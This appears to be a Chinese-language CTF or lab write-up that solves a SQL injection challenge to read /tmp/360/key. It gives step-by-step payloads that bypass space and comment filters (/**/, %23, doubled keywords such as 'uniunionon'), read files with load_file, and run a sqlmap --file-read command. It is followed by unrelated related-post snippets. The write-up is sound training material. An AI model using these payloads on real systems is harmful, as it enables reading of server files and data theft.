回顯判斷注入點
確定過濾型別
各種繞過姿勢注入
注入要求:通過sql注入漏洞讀取/tmp/360/key檔案,答案就在檔案中。
0x01滲透思路
進入答題後,顯示為使用select * from article where id= ('1')提交表單後得到的資訊,已經知道id輸入的引數值為字元,不需要進行判斷;已經少了判斷字元型,數字型和閉合方式的步驟。
1.回顯判斷注入點
基本思路:因為sql語句中閉合的方式是』),那直接使用』)閉合檢視是否會回顯錯誤;
payload:')回顯出錯,存在注入點;
2.判斷sql語句中被過濾型別
sql語句:』) order by 5#回顯正常,一直嘗試增加判斷的列數還是一樣,未出現報錯情況;也就是說明該條sql語句未被執行,猜測應該是過濾了空格、#、order等;
嘗試使用注釋/**/代替空格,使用%23代替#,再次輸入sql語句,檢視回顯情況;這一步可以多嘗試,組合測試,最終得到過濾型別。
『)/**/order/**/by/**/5%23回顯錯誤
『)/**/order/**/by/**/4%23回顯正常,空格不適用注釋/**/代替回顯錯誤,基本說明瀏覽器無法識別#,且把空格過濾。
過濾型別:目前知道注釋#不可用,空格被過濾;
保證sql語句的完整性基本操作:前邊閉合』),後邊注釋。
3.判斷列數
a.直接查詢看回顯
')/**/uniunionon/**/select/**/1,2,3%23 錯誤
')/**/uniunionon/**/select/**/1,2,3,4%23正確,那麼列數就是4
回顯錯誤:
回顯正確:
b.使用order by n判斷列數
order by n:小於等n正常,大於n錯誤,列數就是n
')/**/order/**/by/**/5%23錯誤
')/**/order/**/by/**/4%23正確,列數為4
4.判斷回顯位
前表出錯方法有兩種:
1)and 1=2
2)id=1改為id=-1 引數值前加負號
payload:id=-1')/**/uniunionon/**/select/**/1,2,3,4%23
根據回顯內容,明顯2,3,4都可以回顯內容;
5.讀取key
讀取key的sql語句:load_file('/tmp/360/key')
1)除了可以直接讀檔案,也可以查一些資料庫,使用者資訊等:
user()當前使用者
database()當前庫名
version()版本
2)使用sqlmap也可以完成本次注入;
使用sqlmap下的/tamper:近60個指令碼
顯示詳細payload: -v 3
基於真假判斷:--level 3
sqlmap注入payload:sqlmap.py -u "http://ip:81/vulnerabilities/fu1.php?id=1" --file-read=/tmp/360/key --tamper "space2hash.py"
3)繞過方法可以看另一篇sql注入常見繞過姿勢。
sql注入型別 步驟以及繞waf注入
一 sql注入 sql注入就是是一種將 sql語句插入或新增到應用 使用者 的輸入 引數中的攻擊,之後再將這些引數傳遞給後台的sql伺服器加以解析並執行。最終使使用者可控的輸入被帶入到了資料庫中進行執行。1.1存在 sql注入的地方大致有 l get l post l cookie l http頭部...
python各種檔案讀取
目錄 1 json檔案 2 csv 3 用with來讀取檔案,可避免忘掉f.close 4 用pandas讀取excel csv檔案 1 json檔案樣式 資料儲存在鍵值中 鍵值對間由逗號分隔 花括號用於儲存鍵值對資料組成的物件 方括號用於儲存鍵值對資料組成的陣列 多個物件組成 2 json檔案操作...
注入攻擊之sql注入
在1998年,一位名為rfp的黑客發表了一篇題為 nt web technology vulnerabilities 的文章 注入攻擊的兩個條件 1 使用者能夠克制資料的輸入 在這裡,使用者能夠控制變數 2 原本要執行的 憑藉了使用者的輸入 一般輸入乙個 單引號就能引起執行查詢語句的語法錯誤,有些伺...